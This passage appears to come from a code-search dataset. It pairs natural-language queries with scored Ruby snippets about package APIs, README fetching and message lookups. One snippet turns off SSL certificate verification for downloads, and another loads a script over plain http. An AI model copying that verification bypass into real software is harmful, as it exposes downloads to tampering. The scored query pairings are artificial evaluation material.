@api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20010')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContentPackagesApi#list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "527c18556e5243c681d737a00d96a78e",
"score": "0.5063272",
"text": "def index\n @packages = @software.packages\n end",
"title": ""
},
{
"docid": "edf5c2348ba95692ad84e20246ff899e",
"score": "0.5063",
"text": "def get_packages\n\n user = User.find(decode_token)\n\n packages = user.packages\n\n render json: packages\n end",
"title": ""
},
{
"docid": "46451219be381a605f4a66060d944c6d",
"score": "0.5062815",
"text": "def getGemInfo page_no\n\n\t# RubyCheerio object created with HTML String returned from RestClient.\n\tjQuery = RubyCheerio.new( (RestClient.get \"https://rubygems.org/gems?page=#{page_no.to_s}\").to_str )\n\truby_gems = Array.new\n\n\t# Finds the gem block\n\tjQuery.find('.gems__gem').each do |gem_info|\n\t\t# Finds the name inside gem block\n\t\tgem_name_version = gem_info.find('h2.gems__gem__name')[0].text.strip.split(\"\\n\")\n\n\t\t# Finds the download count inside gem block\n\t\tgem_downloads = gem_info.find('p.gems__gem__downloads__count')[0].text.strip.split(\"\\n\")[0]\n\n\t\t# Adds it to hash\n\t\truby_gems << { name: gem_name_version[0].strip, version: gem_name_version[1].strip, downloads: gem_downloads }\n\tend\n\truby_gems\nend",
"title": ""
},
{
"docid": "4fb16297f3020ea9440b0f8ac4c624c6",
"score": "0.5061599",
"text": "def get_readme(project)\n\turl = \"#{GIT_URL_PREFIX}/#{project}/master/README.md\"\n\tresponse = Net::HTTP.get_response(URI.parse(url))\n\tresponse.class == Net::HTTPOK ? response.body.force_encoding(\"UTF-8\") : nil\nend",
"title": ""
},
{
"docid": "865fe8012641ccfece77958988731eae",
"score": "0.5057149",
"text": "def get_description(filename,repo)\n http = curl_get(\"repos/#{repo}/file/detail/?p=#{filename}\")\n\n JSON.parse(http.body_str)\n end",
"title": ""
},
{
"docid": "865fe8012641ccfece77958988731eae",
"score": "0.5057149",
"text": "def get_description(filename,repo)\n http = curl_get(\"repos/#{repo}/file/detail/?p=#{filename}\")\n\n JSON.parse(http.body_str)\n end",
"title": ""
},
{
"docid": "230d3629c6420f92289efa3098e03980",
"score": "0.50494903",
"text": "def show &block\n PKGUtil.read(@url, &block)\n end",
"title": ""
},
{
"docid": "87e72b0f62423ddc16b717c0ee4885ac",
"score": "0.5047361",
"text": "def yardoc_url\n \"http://rubydoc.info/gems/#{name}/#{version}/frames\"\n end",
"title": ""
},
{
"docid": "8fe5dd77e0937bc66373fe35eb1f284e",
"score": "0.5044122",
"text": "def read_package_action_response(res)\n res.body =~ /.*<p class=\"pkgoutput\">([^<]+)<.*/m\n message = $1\n end",
"title": ""
},
{
"docid": "7a72fbf349d1b25a824503501396cf07",
"score": "0.50434744",
"text": "def help_text\n build_html do\n p <<-'P1'\n This page shows the shipped files that match the SHA1 that was\n entered. All the columns should pretty much be self explainatory\n except perhaps \"image path\".\n P1\n p <<-'P2'\n \"image path\" gives where to locate the bff file if you want to\n install this level. The files have different base directories\n which have been lopped off to save space.\n P2\n p <<-'P3'\n If the path starts with 530images, 610images, 710images, or\n vioimages, then the file can be found on truth starting in its\n root directory.\n P3\n p <<-'P4'\n If the path starts with aix61L or something similar (aix53X, etc),\n the base path that has been trimmed off is\n /gsa/ausgsa/projects/a/aix. What is often referred to as the\n backing trees.\n P4\n p <<-'P5'\n If the path starts with VIOS_*, e.g. VIOS_61D_FP1, the base path\n that has been trimmed off is\n /gsa/ausgsa/projects/s/service/images/61/update.\n P5\n end\n end",
"title": ""
},
{
"docid": "d4d3b114113d82b52c95501e6fd2173f",
"score": "0.5041259",
"text": "def download\n # Turned off ssl verification\n # This should be acceptable because it won't happen on a user's machine, just CI\n\n # define a progress-bar printer\n chunk_size = 1024 * 1024 * 1024\n total_size = 0\n dots = 0\n dot_printer = lambda do |size|\n total_size += size\n needed_dots = (total_size / chunk_size).to_i\n unprinted_dots = needed_dots - dots\n @output.print(\".\" * unprinted_dots) if unprinted_dots > 0\n dots = needed_dots\n end\n\n open(package_url, ssl_verify_mode: 0, progress_proc: dot_printer) do |url|\n File.open(package_file, 'wb') { |file| file.write(url.read) }\n end\n rescue Net::OpenTimeout, Net::ReadTimeout, OpenURI::HTTPError, URI::InvalidURIError => e\n @output.puts \"\\nArduino force-install failed downloading #{package_url}: #{e}\"\n end",
"title": ""
},
{
"docid": "1edd57760762f31f311450f2a4b2945e",
"score": "0.50401586",
"text": "def package\n parse_request\n case @extension\n when :js then render :js => (@contents = Jammit.packager.pack_javascripts(@package))\n when :css then render :text => generate_stylesheets, :content_type => 'text/css'\n when :jst then render :js => (@contents = Jammit.packager.pack_templates(@package))\n end\n cache_package if perform_caching\n rescue Jammit::PackageNotFound\n package_not_found\n end",
"title": ""
},
{
"docid": "c570aea564af804ba910c45a6b444c7f",
"score": "0.5038396",
"text": "def get_repo_readme_data(nwo)\n uri = URI.join(\"https://api.github.com/repos/#{nwo}/readme\")\n begin\n data = JSON.parse(uri.open(http_request_headers).read)\n rescue OpenURI::HTTPError\n return nil\n end\n\n raise EncodingError(\"Unknown encoding: #{data['encoding']}\") \\\n unless data[\"encoding\"] == \"base64\"\n\n return {\n content: Base64.decode64(data[\"content\"]),\n download_url: data[\"download_url\"],\n html_url: data[\"html_url\"],\n name: data[\"name\"]\n }\nend",
"title": ""
},
{
"docid": "d2255c2f8aebf615dd6e1cbadc2643ba",
"score": "0.50239193",
"text": "def github_badge( username, list_length = 10, head = \"div\", theme = \"white\", title = \"My Projects\", show_all = \"Show all\" )\n\treturn (<<-EOS).chomp\n<div id=\"github-badge\"></div>\n<script type=\"text/javascript\" charset=\"utf-8\">\n GITHUB_USERNAME=\"#{ username }\";\n GITHUB_LIST_LENGTH=#{ list_length };\n GITHUB_THEME=\"#{ theme }\";\n GITHUB_TITLE=\"#{ title }\"\n GITHUB_SHOW_ALL = \"#{ show_all }\"\n</script>\n<script src=\"http://drnicjavascript.rubyforge.org/github_badge/dist/github-badge-launcher.js\" type=\"text/javascript\"></script>\n\tEOS\nend",
"title": ""
}
] |
83abd98e74b4fc7f3d20e2865ff19fe1
|
Query the context for the most recent copy of a message by name
|
[
{
"docid": "2bcbd18389364587fd454503fccdfd38",
"score": "0.58751684",
"text": "def find_by_name( name )\n\t\t\tnamed_message = nil\n\t\t\t@messages.values.each do |message|\n\t\t\t\tif message.descriptor.name == name\n\t\t\t\t\tnamed_message = message\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn named_message\n\t\tend",
"title": ""
}
] |
[
{
"docid": "0ce9e3650582ae106eb21906b29cf0ff",
"score": "0.6039128",
"text": "def original_message\n @original_message ||= messages.order(:created_at).first\n end",
"title": ""
},
{
"docid": "3852cc45256ae97f65dd7c2cc59fba41",
"score": "0.5906281",
"text": "def cached_message type_name\n cached_obj @prior_messages, type_name\n end",
"title": ""
},
{
"docid": "394fb4aab086568c65b891ce79474fe2",
"score": "0.57745475",
"text": "def original_message\n @original_message = self.messages.find(:first, :order => 'created_at') if @original_message.nil?\n return @original_message\n end",
"title": ""
},
{
"docid": "82a47b54e89a5c4880adf98e79066259",
"score": "0.5727156",
"text": "def pluck_message\n pluck_queue_message(name)\n end",
"title": ""
},
{
"docid": "c3a23bad7193ef5321728f361be0a031",
"score": "0.54157364",
"text": "def get_messages\n @messages = Message.order(:created_at).last(50)\n @message = current_user.messages.new\n end",
"title": ""
},
{
"docid": "d3897aa78c9b558892e1fa98a20fc247",
"score": "0.5322036",
"text": "def last_message\n @last_message ||= messages.order(:created_at => :desc, :id => :desc).first\n end",
"title": ""
},
{
"docid": "86f117264014767535a17fba78add1ae",
"score": "0.52987325",
"text": "def get_last_message\r\n @messages.fetch(self.count_messages - 1)\r\n end",
"title": ""
},
{
"docid": "d11ac99a4674ed1f80a57c39b48c7ae6",
"score": "0.52746403",
"text": "def lookup_message(name)\n\t\tend",
"title": ""
},
{
"docid": "1b97b65dbde516ed7033d3630896b905",
"score": "0.52742153",
"text": "def newest\n @messages.last\n end",
"title": ""
},
{
"docid": "240e0f1477678ed8aea7e105b2d2c513",
"score": "0.5214352",
"text": "def sender_user_name_of_recent_message\n message = self.messages.last \n user = message.sender_id\n name = User.find_by(id: user)\n if name\n \"#{name.first_name} #{name.last_name}\"\n end\n end",
"title": ""
},
{
"docid": "6044dd2748b6afbd8a2f04fbcb573cdc",
"score": "0.52071893",
"text": "def newer\n @newer ||= mailing_list.posts.original.order(:position).where(\"position > ?\", position).first\n end",
"title": ""
},
{
"docid": "0f23e72be8be194240e0424470f13663",
"score": "0.5173794",
"text": "def retrieve(snapshot) # we don't need to pass in channel names that haven't changed!\n return [[], snapshot] if snapshot.size == 0 # empty snapshot shouldn't return any messages.\n\n ors = snapshot.collect do |name, last_i|\n \"(name=\\\"#{name}\\\" AND `index` >= #{last_i})\"\n end\n\n # SELECT \"channel_messages\".* FROM \"channel_messages\" WHERE ((name=\"new-songs\" AND \"index\" >= 1) OR (name=\"new-artists\" AND \"index\" >= 1))\n messages = ChannelMessage.where(ors.join(\" OR \")).order('name, \"index\" ASC')\n return [[], snapshot] if messages.size == 0 # nothing new.\n\n # this goes through all new messages and computes the new snapshot.\n [messages.collect { |msg| snapshot[msg.name] = msg.index+1; msg.attributes.except(\"updated_at\") }, snapshot]\n end",
"title": ""
},
{
"docid": "5311f0b238b56f4c102f98a653c49d6c",
"score": "0.51517814",
"text": "def last_message \n messages.last\n end",
"title": ""
},
{
"docid": "40ac79b93d6e06ab11b1a9742c412daf",
"score": "0.5150636",
"text": "def oldest\n @messages.first\n end",
"title": ""
},
{
"docid": "3a74a90980740c4248cd97e18081a8a0",
"score": "0.51360375",
"text": "def last_message\n @last_message = self.messages.find(:first, :order => 'created_at DESC') if @last_message.nil?\n return @last_message\n end",
"title": ""
},
{
"docid": "b5a80b45c44c2e4d7e31d81ab078712a",
"score": "0.5034299",
"text": "def message\n @messages.first\n end",
"title": ""
},
{
"docid": "66875448a9fd1e27da3eb55c880bf7a5",
"score": "0.5018807",
"text": "def messages\n Enumerator.new do |y|\n loop do\n y << @redis.blpop(@name).last\n end\n end\n end",
"title": ""
},
{
"docid": "baaeab79a70024ac073ad27a38fadbd7",
"score": "0.5017271",
"text": "def old_messages\r\n self.read_messages\r\n end",
"title": ""
},
{
"docid": "baaeab79a70024ac073ad27a38fadbd7",
"score": "0.5017271",
"text": "def old_messages\r\n self.read_messages\r\n end",
"title": ""
},
{
"docid": "4718ca69ef545f53a9dd8db11c93751a",
"score": "0.49797255",
"text": "def previous_message\n previous_message_index = self.conversation.messages.index(self) - 1\n self.conversation.messages[previous_message_index]\nend",
"title": ""
},
{
"docid": "6de01fd35c68f6b3f74efef6cdb230ae",
"score": "0.49695754",
"text": "def messages\n object.messages.sort_by do |message|\n message.created_at\n end\n end",
"title": ""
},
{
"docid": "7b739aaecddbbce9424f98bdbb3107e4",
"score": "0.49649528",
"text": "def last_message\n get_json('last-message.json')\n end",
"title": ""
},
{
"docid": "6da845473294a5aae9ca38087f844029",
"score": "0.49522442",
"text": "def get_new_messages\n get_messages_link_and_content\n end",
"title": ""
},
{
"docid": "4670d73726c29b8564c076762051b5e3",
"score": "0.49483162",
"text": "def message\n @name\n end",
"title": ""
},
{
"docid": "940f4ec45a1e2e4392ef5d39ec1ebeb4",
"score": "0.49429587",
"text": "def show_past_name_description # :nologin: :prefetch: :norobots:\n pass_query_params\n store_location\n if @description = find_or_goto_index(NameDescription, params[:id].to_s)\n @name = @description.name\n if params[:merge_source_id].blank?\n @description.revert_to(params[:version].to_i)\n else\n @merge_source_id = params[:merge_source_id]\n version = NameDescription::Version.find(@merge_source_id)\n @old_parent_id = version.name_description_id\n subversion = params[:version]\n if !subversion.blank? and\n (version.version != subversion.to_i)\n version = NameDescription::Version.\n find_by_version_and_name_description_id(params[:version], @old_parent_id)\n end\n @description.clone_versioned_model(version, @description)\n end\n end\n end",
"title": ""
},
{
"docid": "14194c9b158b95f8700c5de4496dd041",
"score": "0.49414262",
"text": "def get_last_message\n Message.showing.last\n end",
"title": ""
},
{
"docid": "9d65f1cc8b2c87052c8be6c28e843af5",
"score": "0.49289173",
"text": "def original_message_id \n @private_messages.first.original_message_id # All threaded messages share the same original ID, so we'll just call the first record\n end",
"title": ""
},
{
"docid": "88427a99bc88a3d30a01c4102899d5b1",
"score": "0.4913704",
"text": "def get_thread_by_context_last_posts(username, job_key, application_id, context = 'Interviews')\n $LOG.i \"running \" + __method__.to_s\n @client.get '/mc/v1/contexts/' + username + '/' + context + ':' + job_key + ':' + application_id + '/last_posts'\n end",
"title": ""
},
{
"docid": "6402f67c1d9127670536994250464906",
"score": "0.48754042",
"text": "def last_contacted\n object.channels.where(is_private: true).first.last_message_time\n end",
"title": ""
},
{
"docid": "570b15766d582ed9bfa940dc1ae32ebc",
"score": "0.48725778",
"text": "def get_backlog(person_full_name, requester)\n last_left = Message.first(\n :conditions => {:person => person_full_name, :message_type => ['Leave','Kick']},\n :order => [:timestamp.desc])\n \n if last_left \n # if person timed out, look for their last entry before the timeout\n if last_left.message_type == 'Kick'\n last_left = Message.first(\n :conditions => {:person => person_full_name, :timestamp.lt => last_left.timestamp},\n :order => [:timestamp.desc])\n end\n\n # get all text messages since they left\n history = Message.all(\n :conditions => { :timestamp.gt => last_left.timestamp,\n :person.not => IGNORE_USERS,\n :message_type => 'Text' },\n :order => [:timestamp])\n messages = history.map { |m| \"#{m.person}: #{m.body}\" }\n \n return messages.join(\"\\n\")\n end\n end",
"title": ""
},
{
"docid": "ef6e48a2e47570f7d3a41b0d4cc364a3",
"score": "0.48485056",
"text": "def find_message(recipient, subject)\n messages = filter_by_subject(recipient[/[^@]+/], subject)\n latest_message(messages)\n end",
"title": ""
},
{
"docid": "69bb4c5bfb6b2648040aeba2aa3d2976",
"score": "0.48237893",
"text": "def older\n @older ||= mailing_list.posts.original.order(\"position desc\").where(\"position < ?\", position).first\n end",
"title": ""
},
{
"docid": "c05b2edadc09cc4a319b314bb6356726",
"score": "0.48228294",
"text": "def show\n @messages = Message.order(created_at: :asc).last(20)\n end",
"title": ""
},
{
"docid": "5fa517cba575d5a32390c33775d7ed4a",
"score": "0.4799179",
"text": "def fetch queue_name, source_uri\n ReliableMsg::Queue.new(queue_name, :drb_uri => source_uri).get { |m|\n begin\n tx = Thread.current[ReliableMsg::Client::THREAD_CURRENT_TX]\n Thread.current[ReliableMsg::Client::THREAD_CURRENT_TX] = nil\n\n @logger.info { \"message fetched - <#{m.id}>\" }\n yield m\n\n ensure\n Thread.current[ReliableMsg::Client::THREAD_CURRENT_TX] = tx\n end\n }\n end",
"title": ""
},
{
"docid": "3bd79586a8bd0cc90adb4263a19e6779",
"score": "0.47862485",
"text": "def thread_messages\n #thread.messages + [thread]\n Message.where([\"id = ? or parent_id = ?\", thread_id, thread_id])\n end",
"title": ""
},
{
"docid": "f467e6342a5299fbb871cdd968d46a13",
"score": "0.478278",
"text": "def get_snapshot(name)\n results = get_snapshots\n results.find { |snap| snap['name'] == name }\n end",
"title": ""
},
{
"docid": "cf10c51b4dc8d03065c1fb8e0ec6e3fa",
"score": "0.4765648",
"text": "def message_from_cache(name, options = {}, &block)\n options[:from_cache] = true\n receive_message_from name, options, &block\n end",
"title": ""
},
{
"docid": "42b9bb919badb2ff8993ce003cf1b233",
"score": "0.47606578",
"text": "def conversation\n Conversation\n .where(\"creator_id = ? or member_id = ?\", user_id, user_id)\n .order(\"latest_message_id DESC\").first\n end",
"title": ""
},
{
"docid": "e2035e30980ac914a0e569e08f333673",
"score": "0.47574836",
"text": "def messages\n @previous.select { |event, _data| event == :message }.map(&:last).join\n end",
"title": ""
},
{
"docid": "7ea2af2d1d829184a5b75701d683dbf8",
"score": "0.47126612",
"text": "def get_messages\n if Conversation.previous_talks(params[:sender_id],params[:recipient_id]).present?\n @conversation = Conversation.previous_talks(params[:sender_id],params[:recipient_id]).first\n else\n @conversation = Conversation.create!(conversation_params)\n end\n end",
"title": ""
},
{
"docid": "20284310073c3127b268fb1d5bfc6263",
"score": "0.46989295",
"text": "def show\n @messages = @chatarea.messages.order(created_at: :desc).limit(100).reverse\n end",
"title": ""
},
{
"docid": "06d2c0b57acd138aa7a642d41410e3d4",
"score": "0.4675826",
"text": "def fetch_motifs_by_name(name)\n return self.fetch_motifs(:collection => nil, :tf_name => name)\n end",
"title": ""
},
{
"docid": "632dcc78586de1116ea305ae6d14e1f0",
"score": "0.46687487",
"text": "def get_messages!\n\t\t\t# clear messages\n\t\t\tmsgs = messages\n\t\t\tdb_set({}, { messages: [] })\t\t\t\n\t\t\tmessages = Set.new\n\t\t\treturn { messages: msgs }\n\t\tend",
"title": ""
},
{
"docid": "c2befdf3c404c795984842280e0b9f42",
"score": "0.46661544",
"text": "def show\n @messages = Message.where(messageable: @discussion).order(created_at: 'asc').includes(:commoner)\n @new_message = @discussion.messages.build(commoner: current_user.meta)\n end",
"title": ""
},
{
"docid": "71b3891093312e946bf0bc3034db9a3b",
"score": "0.46636143",
"text": "def get(message_id)\r\n messages.detect { |message| message.message_id.to_s == message_id.to_s }\r\n end",
"title": ""
},
{
"docid": "85eaff5c0ce5b81640eaca2e3dc43162",
"score": "0.46562266",
"text": "def recent\n num_recent = 5\n entries = @@ledgers.find(\"owner\" => @sender).first['entries']\n\n if(entries.length < num_recent)\n num_recent = entries.length\n end\n\n reply = [\"Most recent ledger entries:\"]\n \n for n in 1..num_recent\n entry = entries[-n]\n reply.push(\"#{entry['action']}, #{entry['description']}, #{entry['value']}\")\n end\n\n @t.say(reply.join(\"\\n\"))\nend",
"title": ""
},
{
"docid": "e3378cc5e8cac31e4a3322e6254016ca",
"score": "0.4640604",
"text": "def get_ref(context, name)\n\t\tref = Ref.find(:first, :conditions => [ \"name = ?\", name])\n\t\tif (not ref)\n\t\t\tref = Ref.create(\n\t\t\t\t:name => name,\n\t\t\t\t:created => Time.now\n\t\t\t)\n\t\t\tref.save\n\t\t\tframework.events.on_db_ref(context, ref)\n\t\tend\n\n\t\treturn ref\n\tend",
"title": ""
},
{
"docid": "facd69fcf8866ce68b5c346d59e2da21",
"score": "0.46189892",
"text": "def cache_message(msg)\r\n # @conn.prepare(\"insert_quote\", \"INSERT INTO quotes (nickname, message, date_added) VALUES ($1, $2)\")\r\n # @conn.exec_prepared(\"insert_quote\", [msg.nickname, msg.text, Time.now])\r\n return if msg.text == $bot.nick\r\n $log.info(\"Caching #{msg}: #{msg.text}\")\r\n if @msg_cache.length >= 500\r\n @msg_cache.shift\r\n @msg_cache << msg\r\n else\r\n @msg_cache << msg\r\n end\r\n end",
"title": ""
},
{
"docid": "e930ae2b333d3743f7efe46f67c33bd3",
"score": "0.46180362",
"text": "def lookup_commit_details(msg)\n rev = msg[:message]\n commit = fetch_svn_commit(rev).first\n messagetext = \"#{commit[:author]} committed revision #{commit[:revision]} \" +\n \"#{time_ago_in_words(commit[:date])} ago:\\n\"\n\n messagetext += \"\\n#{commit[:message]}\\n\"\n messagetext += \"----\\n\"\n commit[:paths].each do |path|\n messagetext += path[:action] + \" \" + path[:path] + \"\\n\"\n end\n\n msg.paste(messagetext)\n\n messagetext = \"More detail can be found at \" + bot.config['svn_webui_url']\n msg.speak(messagetext)\n\n @log.info messagetext\n end",
"title": ""
},
{
"docid": "2980a73b8c1b0420af4dd7bbdfb0106a",
"score": "0.4615889",
"text": "def latest_mail(options = {})\n return only_latest(mail(options))\n end",
"title": ""
},
{
"docid": "6a942af4b7cfd6a3c5231ac64255c23c",
"score": "0.46128923",
"text": "def old_latest_for_consumer_branch(branch_name)\n branch_versions_join = {\n Sequel[:pact_publications][:consumer_version_id] => Sequel[:branch_versions][:version_id]\n }\n\n branches_join = {\n Sequel[:branch_versions][:branch_id] => Sequel[:branches][:id],\n Sequel[:branches][:name] => branch_name\n }\n\n max_orders = join(:branch_versions, branch_versions_join)\n .join(:branches, branches_join)\n .select_group(Sequel[:pact_publications][:consumer_id], Sequel[:pact_publications][:provider_id], Sequel[:branches][:name].as(:branch_name))\n .select_append{ max(consumer_version_order).as(latest_consumer_version_order) }\n\n max_join = {\n Sequel[:max_orders][:consumer_id] => Sequel[:pact_publications][:consumer_id],\n Sequel[:max_orders][:provider_id] => Sequel[:pact_publications][:provider_id],\n Sequel[:max_orders][:latest_consumer_version_order] => Sequel[:pact_publications][:consumer_version_order]\n }\n\n base_query = self\n if no_columns_selected?\n base_query = base_query.select_all_qualified.select_append(Sequel[:max_orders][:branch_name].as(:branch_name))\n end\n base_query\n .join(max_orders, max_join, { table_alias: :max_orders })\n .remove_overridden_revisions_from_complete_query\n end",
"title": ""
},
{
"docid": "f731a8bd75b78eac6aa0a2077dae6f2f",
"score": "0.46088618",
"text": "def read\n @tour.join_requests\n .accepted\n .where(user: current_user)\n .update_all(last_message_read: DateTime.now)\n head :no_content\n end",
"title": ""
},
{
"docid": "884448f76fa599eabe0253eabd24cb4a",
"score": "0.4598929",
"text": "def recevoirMessage(message)\r\n\t\t@lstMessages[message.id] = message\r\n\tend",
"title": ""
},
{
"docid": "8bfe91bcf5e3164913c0ee7d9cfb4760",
"score": "0.45877165",
"text": "def show\n\t\t@messages = @chatroom.messages.order(created_at: :desc).limit(100).reverse\n\tend",
"title": ""
},
{
"docid": "1c1d978a45df7b36284161fe1b618a90",
"score": "0.45848253",
"text": "def message_posted_with_change(message)\n redmine_headers 'Project' => message.project.identifier,\n 'Topic-Id' => (message.parent_id || message.id)\n @author = message.author\n message_id message\n references message.root\n recipients = message.recipients\n cc = ((message.root.watcher_recipients + message.board.watcher_recipients).uniq - recipients)\n @message = message\n @message_url = url_for(message.event_url)\n mail :to => recipients,\n :cc => cc,\n :subject => \"[#{message.board.project.to_s} - #{message.board.name} - msg#{message.root.id}] #{message.subject}\"\n end",
"title": ""
},
{
"docid": "2f119f31a2c3096ac2d9421c95b9c8a9",
"score": "0.45762068",
"text": "def last_message_time(message)\n format = :message_time\n message_age = Time.now - message.created_at\n format = '%A' if message_age < 1.week\n format = '%H:%M' if message_age < 24.hours\n l(message.created_at, format: format)\n end",
"title": ""
},
{
"docid": "c08c52c30fa22dab05e8cbc958395464",
"score": "0.4571583",
"text": "def read\n @entourage.join_requests\n .accepted\n .where(user: current_user)\n .update_all(last_message_read: DateTime.now)\n head :no_content\n end",
"title": ""
},
{
"docid": "283e3e50e965d33e8bd81e2ca27256d3",
"score": "0.45618865",
"text": "def keep message\n @messages << message\n end",
"title": ""
},
{
"docid": "2fb75d19d68b950fecc20aebb5f0d187",
"score": "0.45599425",
"text": "def message(message)\n get(\"inbox/messages/#{message}\").pop\n end",
"title": ""
},
{
"docid": "cbc115637dd593de30ad6baacdb8d5f7",
"score": "0.45512372",
"text": "def find_messages\n mailbox = @boxes.find { |box| @mailbox =~ /#{box}/ } # TODO: needs more work\n raise unless mailbox\n age = @cleanse[mailbox]\n before_date = (Time.now - 86400 * age).imapdate\n\n search [\n 'NOT', 'NEW',\n 'NOT', 'FLAGGED',\n 'BEFORE', before_date\n ], 'read, unflagged messages'\n end",
"title": ""
},
{
"docid": "fea7d51495f6a70daa9303fb557fde1d",
"score": "0.45503592",
"text": "def index\n @messages = Message.order(created_at: :desc)\n end",
"title": ""
},
{
"docid": "b1df73eee9a1391527bdbbc4c244de72",
"score": "0.4545008",
"text": "def get_messages\n @connection.uid_search(@filter).each do |message|\n puts \"PROCESSING MESSAGE #{message}\"\n body=@connection.uid_fetch(message,\"RFC822\")[0].attr[\"RFC822\"]\n @processor.process(body, @options)\n @connection.uid_copy(message, 'Processed')\n\n @connection.uid_store(message,\"+FLAGS\",[:Deleted])\n end\n @connection.expunge\n #@connection.delete_all\n end",
"title": ""
},
{
"docid": "5798c004478bff7e01d039ab5459da10",
"score": "0.45438433",
"text": "def get_message_by_uid(uid)\n message = @connection.uid_fetch(uid.to_i, \"RFC822\")[0].attr[\"RFC822\"]\n \n # mark this message as being seen\n @connection.uid_store(uid.to_i, \"+FLAGS\", [:Seen])\n \n # for some reason, the parser doesn't like the old line returns; strip \n # them out\n return Message.receive(message.tr(\"\\r\", \"\"))\n end",
"title": ""
},
{
"docid": "137c85391f0f437b3f35da166097f3dc",
"score": "0.45390663",
"text": "def index\n @messages = Message.includes(:user, :field).all.order(\"updated_at DESC\")\n end",
"title": ""
},
{
"docid": "a6f3e88f834d2ab3cf35de975a2d7c80",
"score": "0.45351762",
"text": "def massage\n begin\n @massage ||= lookup.first % to_var( '_copy' )\n rescue => exception \n raise( exception, self.inspect )\n end \n end",
"title": ""
},
{
"docid": "a8c66493ae4859bcdfa72badfe6cbe44",
"score": "0.45342493",
"text": "def get_messages\n @messages.select(*Runoff::COLUMNS).all.sort_by do |row|\n [row[Runoff::COLUMNS[0]], row[Runoff::COLUMNS[2]]]\n end\n end",
"title": ""
},
{
"docid": "fcfeb27e8d127a4282009bdef032a293",
"score": "0.4521346",
"text": "def index\n @msgs = Msg.all\n newhash = DateTime.strptime(\"1318996912\",'%s')\n @namehash = Digest::SHA1.hexdigest(newhash)\n end",
"title": ""
},
{
"docid": "5ff60561a4cd408ee5ed424e47161076",
"score": "0.45127586",
"text": "def index\n @messages = Message.where(conversation_id: @conversation.id).order(created_at: :asc)\n @message = Message.new\n end",
"title": ""
},
{
"docid": "7d12f7fcd4541439802db9eaf00f1328",
"score": "0.4511612",
"text": "def recent\n @curb.url = \"https://www.google.com/voice/inbox/recent/\"\n @curb.http_get\n results = {}\n\n doc = Nokogiri::XML::Document.parse(@curb.body_str)\n html = Nokogiri::HTML::DocumentFragment.parse(doc.to_html)\n html.css(\"table.gc-message-tbl\").each do |table|\n telephone_number = table.css(\"td.gc-message-tbl-metadata a.gc-message-name-link\").inner_html.strip\n messages = table.css(\"div.gc-message-sms-row\").map do |row|\n {}.tap do |message|\n message[:from] = row.css(\".gc-message-sms-from\").inner_html.strip.gsub(/:$/, \"\")\n message[:text] = row.css(\".gc-message-sms-text\").inner_html.strip\n message[:time] = row.css(\".gc-message-sms-time\").inner_html.strip\n end\n end\n results[telephone_number] = messages\n end\n\n results\n end",
"title": ""
},
{
"docid": "540218f059d70e158baba7e834c5de68",
"score": "0.44946575",
"text": "def remove_message(name)\n\t\tend",
"title": ""
},
{
"docid": "7fc4b124c43389b3bbe31528b5471bae",
"score": "0.44872466",
"text": "def first_unread_message\n gmail.inbox.find(:unread).find do |email|\n email.to[0].mailbox.include? 'performance_group'\n end\n end",
"title": ""
},
{
"docid": "08e926612a323273e820fab3de62be25",
"score": "0.44830486",
"text": "def find_message!\n return self if message || organization.nil?\n self.message = organization.messages.find_by_message_id_header(message_id)\n return self\n end",
"title": ""
},
{
"docid": "61f81f871f085e5dffe0cb2f3979d074",
"score": "0.44829372",
"text": "def recent\n self.order('created_at DESC')\n end",
"title": ""
},
{
"docid": "aa7ac8182f71cab88bc299bdfc852345",
"score": "0.4465771",
"text": "def revision(name, msg, options = {}, &block)\n r = Revision.new(name, msg, options, &block)\n @revisions << r\n r\n end",
"title": ""
},
{
"docid": "52ccedbf2bc1cd4b08c6ec61ef2c19e6",
"score": "0.44629046",
"text": "def destroy (name, update_seen_on=true)\n if where = exist?(name)\n @messages[where.last].delete(where.first)\n @by_id.delete(where.first.name)\n @seen_on[where.first.name] = Time.now.to_i if update_seen_on and where.first.options[:remember]\n end\n end",
"title": ""
},
{
"docid": "adc5b99d2592d284fb08ee7c2f1cef19",
"score": "0.44612277",
"text": "def recent_chats\n r = Skype.send_command \"SEARCH RECENTCHATS\"\n chat_ids = parse_type(r.sub(/^CHATS\\s+/, \"\"), Array)\n chat_ids.map do |id|\n Chat.new(id)\n end\n end",
"title": ""
},
{
"docid": "7a91da6e6fba2276e5665b8ca074b218",
"score": "0.44597948",
"text": "def find_exchange(name)\n @exchanges[name]\n end",
"title": ""
},
{
"docid": "e31192f478d19a121427786408a9cbf0",
"score": "0.4457324",
"text": "def query(name, since=nil)\n since ||= '-2min'\n graph = Slate::Graph.new(@client)\n graph.from = since\n graph << Slate::Target.build(name)\n json_graph = JSON.parse(graph.download(:json), :symbolize_names => true)\n return json_graph.first\n end",
"title": ""
},
{
"docid": "29f40b04405685b803a0273691cee8c5",
"score": "0.44562143",
"text": "def live_message(selected_user,previous_visit_record=Time.now)\n loaded_associated_memorization = self.memorizations.where(:memorable => true, :user_id => selected_user.id).first\n if self.comments and loaded_associated_memorization\n if self.comments.where('comments.updated_at > ?', loaded_associated_memorization.updated_at).present?\n return true\n elsif previous_visit_record < self.updated_at and loaded_associated_memorization.updated_at > previous_visit_record\n return true\n else\n return false\n end\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "ece1bb835bd39671624f4f46a84b7b3c",
"score": "0.44558254",
"text": "def read_messages \n\tmethod_name = \"read_messages_via_#{protocol}\"\n\tif self.class.private_instance_methods.collect(&:to_s).include?(method_name)\n \tsend method_name\n\t\tincluded = Time.now\n\t\tsave!\n\telse\n \t\t# ignoring it\n \tend\n end",
"title": ""
},
{
"docid": "8b22c922a5efe13786bcf02833124b46",
"score": "0.44518217",
"text": "def notify_on_copy\n @attributes[:notify_on_copy]\n end",
"title": ""
},
{
"docid": "66d2f626092815dd0a04f44f5701926d",
"score": "0.44384664",
"text": "def time_last_received\n a = emails_received.order(\"created_at DESC\").first\n a.created_at if a\n end",
